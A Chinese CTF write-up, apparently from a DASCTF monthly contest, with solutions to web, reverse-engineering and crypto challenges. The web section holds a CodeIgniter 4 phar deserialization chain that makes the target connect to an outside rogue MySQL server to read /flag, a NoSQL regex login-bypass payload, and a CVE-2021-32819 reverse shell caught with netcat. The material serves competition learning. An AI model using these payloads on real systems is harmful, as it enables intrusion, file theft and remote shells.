终于能在DAS的月赛中拿一个还可以的成绩了!
08131-4vztpbsobbt.png

战队:我们终将被毁灭化作海带 排名:5

web

code4

搜了半天CodeIgniter 4.2.7的漏洞,无果。想着怎么可能呢,没源码根本做不了啊。

然后扫了目录(因为buuctf很少要扫目录的题),还真给我扫出来了

img

www.zip读源码

image-20221127170318110

学一下路由配置(以前没做过这个框架)https://www.w3cschool.cn/codeigniter4/codeigniter4-7q9v39jn.html

关键在这个Upload.php

<?php

namespace App\Controllers;

use CodeIgniter\Files\File;

class Upload extends BaseController
{
    protected $helpers = ['form'];

    public function index()
    {
        return view('upload_form', ['errors' => []]);
    }

    public function upload()
    {
        $validationRule = [
            'userfile' => [
                'label' => 'Image File',
                'rules' => 'uploaded[userfile]'
                    . '|max_size[userfile,100]'
                    . '|max_dims[userfile,1024,768]',
            ],
        ];

        if (! $this->validate($validationRule)) {
            $data = ['errors' => $this->validator->getErrors()];
            return view('upload_form', $data);
        }

        $img = $this->request->getFile('userfile');
        
        $img_content = file_get_contents($img);
        if(preg_match("/HALT_COMPILER/i",$img_content)){
            die("hack");
        }
        $name = $img->getName();
        $img->store('',$name);
        return view('upload_success');    
        
    }

    public function info(){
       
        $path = $this->request->getPost('name');
        $data = ['uploaded_flleinfo' => new File($path)];
        if($data){
            return view('upload_info', $data);
        }
        else{
            return "fail";
        }
        
    }
}

先是试了一段时间的目录穿越改写文件

$this->move(WRITEPATH . 'uploads/' . $folderName, $fileName);

//name=../../../../etc/passwd

//../../app/upload_info.php

//出不了uploads目录

尝试后发现不能出uploads目录

HALT_COMPILER(这个东西越看越熟悉)

想起来是phar反序列化那个stub!

恰好发现https://blog.csdn.net/qq_48985780/article/details/121252141 讲的是反序列化漏洞。将其payload改变为phar反序列化的payload

<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
    public $hostname='101.43.122.221';
    public $port = '3307';
    public $database = 'aaa';
    public $username = 'root';
    public $password = 'root';
    public $charset = 'utf8';
}

namespace CodeIgniter;
class Model{
    public $db;
    public $table = 'hack';
    public function __construct($db)
    {
        # code...
        $this->db =$db;
    }
}

namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
    public $lockKey ='123';
    public $memcached= 'a';
    public function __construct($memcached)
    {
        # code...
        $this->memcached =$memcached;
    }
}

namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
    public $redis;
    public function __construct($redis)
    {
        # code...
        $this->redis =$redis;
    }
}
$a = new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection())));
echo serialize($a);
$phar = new \Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

配置一下服务端 https://github.com/Gifts/Rogue-MySql-Server

在云服务器上git下,改配置

PORT = 3307

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
    '/flag',
)

python2启动一下。生成mysql.log

使用上面的phar反序列化脚本生成phar文件

┌──(kali㉿kali)-[~/桌面]
└─$ gzip phar.phar 

┌──(kali㉿kali)-[~/桌面]
└─$ mv phar.phar.gz 11.gif

┌──(kali㉿kali)-[~/桌面]
└─$ gzip phar1.phar 

┌──(kali㉿kali)-[~/桌面]
└─$ mv phar1.phar.gz 12.phar

┌──(kali㉿kali)-[~/桌面]
└─$ 

gzip加密一下,绕过HALT_COMPILER的检测

http://de6eaf26-3756-469e-bb36-e405d1e5a35c.node4.buuoj.cn:81/index.php/upload 页面上传

http://de6eaf26-3756-469e-bb36-e405d1e5a35c.node4.buuoj.cn:81/index.php/upload/info 页面post传参 name=phar://../writable/uploads/12.phar触发反序列化

看mysql.log

image-20221127171709690

得到flag!

EzNode2

首先是个nosql注入,网上查 https://book.hacktricks.xyz/pentesting-web/nosql-injection

{"username":{"$regex":"."},"password":{"$regex":"."}}

成功登录

image-20221127174235167

然后找到个CVE-2021-32819 https://cloud.tencent.com/developer/article/2035888

随便传个文件,抓个包改改 upload_info.php

跟着文章做,传文件反弹shell

服务器端nc -lvp 33456

image-20221127174330201

image-20221127174446672

re

题目里try必定出错

直接将patch跳转except块得到真正加密函数:

int __cdecl __scrt_is_nonwritable_in_current_image(unsigned int a1, unsigned int *a2, _DWORD *a3)
{
  int result;//eax
  unsigned int i;//[esp+20h][ebp-28h]
  int v5;//[esp+24h][ebp-24h]
  unsigned int v6;//[esp+28h][ebp-20h]
  unsigned int v7;//[esp+2Ch][ebp-1Ch]
  V5=0;
  v7 = dword_40F038 ^ *a2;
  v6 = dword_40F03C ^ a2[1];
  for( i=0 ; i < a1; ++i)
  {
    v5=(dword_40F000 + v5)^0x1234567;
  v7 += (a3[1]+(v6>>5)) ^ (v5+v6) ^ (*a3 + 16*v6);
  v6 += (a3[3]+(v7>>5)) ^ (v5+V7) ^ (a3[2] + 16*v7);
  }
  dword_40F038 = v7;
  dword_40F03C = v6;
  *a2 = v7;
  result 4;
  a2[1] = v6;
  return result;
}

解密:

#include <cstdio>

unsigned long xor_key[] = { 0x1234567,0x89ABCDEF };


void decrypt(unsigned long* v, unsigned long* k) {
    unsigned long y = v[0], z = v[1], sum = 0xC78E4D05;       
    unsigned long delta = 0x9e3779b1;   
              
    unsigned long a = k[0], b = k[1], c = k[2], d = k[3];   
    
    
    for (int i = 31; i >= 0; i--) {                     
        z -= ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d);
        y -= ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b);
        /* end cycle */
        if ((sum >> 0x1f) == 0) {
            sum ^= 0x1234567;
        }
        sum -= delta;
    }
    
    y ^= xor_key[0];
    z ^= xor_key[1];
    
    v[0] = y;
    v[1] = z;
}

int main()
{
    unsigned long enflag[] = { 0x5E27B530,0xBDBEF7F3 ,0xE3516A8F,0x5D836CFE,0x0D83DFA09,0x8EFC737A,0x55A853A3,0x7A564EC5 };
    unsigned long ori_enflag[] = { 0x5E27B530,0xBDBEF7F3 ,0xE3516A8F,0x5D836CFE,0x0D83DFA09,0x8EFC737A,0x55A853A3,0x7A564EC5 };
    unsigned long key[] = { 0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476 };

    printf("flag{") ;
    for (int i = 0; i < 4; i++)
    {
        decrypt(&enflag[i * 2], key);
        
        xor_key[0] = ori_enflag[2 * i]; xor_key[1] = ori_enflag[2 * i +1];
        
        for (int j = 0; j < 4; j++)
        {
            printf("%c", enflag[i * 2] % 0x100);
            enflag[i * 2] >>= 8;
        }
        for (int j = 0; j < 4; j++)
        {
            printf("%c", enflag[i * 2 + 1] % 0x100);
            enflag[i * 2 + 1] >>= 8;
        }
    }
    printf("}");
}

Crypto

DASCTF11-easy_hash

题目

from Crypto.Util.number import bytes_to_long, long_to_bytes
from zlib import crc32
from secret import *
P = 93327214260434303138080906179883696131283277062733597039773430143631378719403851851296505697016458801222349445773245718371527858795457860775687842513513120173676986599209741174960099561600915819416543039173509037555167973076303047419790245327596338909743308199889740594091849756693219926218111062780849456373
def myhash(x):
    res = []
    end = b""
    bytescipher = long_to_bytes(x)
    a = bytescipher[:len(bytescipher) % 8]
    res.append(a)
    res.append(long_to_bytes(crc32(a)))
    t = (len(bytescipher) // 8)
    bytescipher = bytescipher[len(bytescipher) % 8:]
    for i in range(t):
        a = bytescipher[i*8:i*8+8]
        res.append(a)
        res.append(long_to_bytes(crc32(a)))
    for i in res:
        end += i
    res = bytes_to_long(end)
    res = (res + (res >> 500)) & 2**(500)-1
    return res
def encode(pt):
    a=[]
    b=[]
    a.append(myhash(pt))
    for i in range(3):
        a.append(myhash(a[i]))
    for j in range(4):
        secret=(a[0] + a[1] * a[j] + a[2] * a[j] ** 2 + a[3] * a[j] ** 3) % P
        b.append([a[j],secret])
    return b
pt = bytes_to_long(flag.encode())
FLAG=encode(pt)
print(FLAG[1])
#[1768672211043417187765307394749760760531160781992300779145800061219666992833602547480090118225665457075744297987672863699370162614965380859290914620736, 89139545215288033432210221492974990584987914397112840989583439688211128705545477536596587262069032020212762581490561288493533363888589066045095054475929099275247145877699370608950340925139625068446642116123285918461312297390611577025368805438078034230342490499137494400676347225155752865648820807846513044723]

分析

题目给了a[1]和对应的secret,那么可以顺势把a[2]和a[3]都用myhash函数计算出来

a2 = myhash(a1)
a3 = myhash(a2)

那么通过secret就可以解出a0

a0 = (c-a3*a1^3-a2*a1^2-a1^2)%p

而由于hash过程当中end字节串当中直接引用了密文,因此这时可以直接从a0对应的字节串内提取到密文。

import libnum
print(libnum.n2s(int(a0)))
#b'DA\xd4\x17\xe9\xf8SCTF{th1\x98\xf8\xa5$s_is_theS\x83\xbf\xc9_fe3st_q\x8f\xa9\xd4\xacuest1on}\x07.B\xce'

DASCTF11-LLLCCCGGG

题目

from Crypto.Util.number import *
key=b'*************'
key=bytes_to_long(key)
key=bin(key)[2:]

n=getPrime(256)
a=[getPrime(256)]
for i in range(1,len(key)):
    a.append(a[i-1]*2)
b=getPrime(256)
m=[]
for i in range(len(key)):
    m.append((a[i]*b)%n)
s=0
for i in range(len(key)):
    s+=m[i]*int(key[i])
seed=s
a = getPrime(300)
b = getPrime(300)
n = getPrime(300)
output = []
for i in range(10):
    seed = (a*seed+b)%n
    output.append(seed)

print("output = ",output)
print('m=',m)
state=int(key,2)
a=getPrime(256)
b=getPrime(256)
c=getPrime(256)
for _ in range(10**10000):
    state = (a * state + b) % c
flag=b'****************************************'
state_md5=hashlib.md5(str(state).encode()).hexdigest()
xorflag=xor(flag,state_md5).hex()
print('a=',a)
print('b=',b)
print('c=',c)
print('xorflag=',xorflag)

如题目名称,题目分为三步

第一步、还原seed

给了10个lcg加密的连续结果,常规恢复

output = []
m= []
o = []
for i in range(6):
    o.append(output[i+1]-output[i])

n = gcd(o[3]**2-o[2]*o[4],o[2]**2-o[1]*o[3])
from sympy import *
assert isprime(n)
a = ((output[3]-output[2])*invert(output[2]-output[1],n))%n
a = a+n
b = (output[2]-a*output[1])%n
b = b+n
print(a)
print(b)
for i in range(len(output)-1):
    assert (output[i]*a+b)%n == output[i+1] 
seed = ((output[0]-b)*invert(a,n)%n)
assert (seed*a+b)%n == output[0]
print(seed)
print(int(586976724958086548483118515325885073647140620756178861571636458283352627548727).bit_length())

第二步、恢复key

题目中利用key二进制的反序与a\b进行加密得到s,所以s/(a*b)=key(反),而m列表中的第一位告诉我们ab的值,所以很容易恢复key

n2 = m[0]*2-m[1]
assert isprime(n2)
ab = m[0]
key = (seed*invert(ab,n2)%n2)
bk = bin(key)[2:]
K = ''
for i in range(len(bk)):
    K += bk[len(bk)-1-i]
    #print(K)
key = int(K,2)
print(bin(key))
print(bk)

第三步、恢复state_md5

快速幂,二进制过慢,所以这里直接调用了十进制快速幂。

a1= 102146678855348749881681741830301892566150942749854546938156269348575567682569
b1= 57926598868103510549704115342815226386495366694945712679089221082045615713293
c= 79112540456632613121737537841885533313599936328220061653608162113976717833173
f= 0x2079677330734e7d07116d73543d03316c6501555c02403b7201080612101049
m = [[int(23034138398716136759944203988416359252551006421634485284548107234598849849396),int(0)],[int(57926598868103510549704115342815226386495366694945712679089221082045615713293),int(1)]]
M = matrix(m)
m1 = M*M % int(c)
for i in range(8):
    m1 = (m1*M)%int(c)
print(m1)
print(matrix_pow(m,10))
def matrix_mul(A, B):
#矩阵乘法函数,返回两个矩阵相乘的值,建议背诵
    return [[sum(a * b % c for a, b in zip(col, row)) % c for col in zip(*B)] for row in A]

def matrix_pow(A, n):
    n = int(n)
    size_ = len(A)
    if n == 0:#返回单位矩阵
        res = [[0 for _ in range(size_)] for _ in range(size_)]
        for i in range(size_):
            res[i][i] = 1
        return res
    elif n == 1:#返回自己
        return A
    else:
        y = matrix_pow(A, n // 2)
        if n %2 == 1:#要乘
            return matrix_mul(matrix_mul(y, y), A)
        return matrix_mul(y, y)#不乘
import hashlib
from Crypto.Util.number import *
for i in range(10000):
    m = (matrix_pow(m,10))
print(m)
k = (key*m[0][0]+m[1][0])%c

state_md5=hashlib.md5(str(k).encode()).hexdigest()
print(state_md5)
k = (k*a1+b1)%c
state_md5=hashlib.md5(str(k).encode()).hexdigest()
print(state_md5)

最后使用state_md5逆异或,就可以得到flag啦2022-11-28T03:43:59.png

发表评论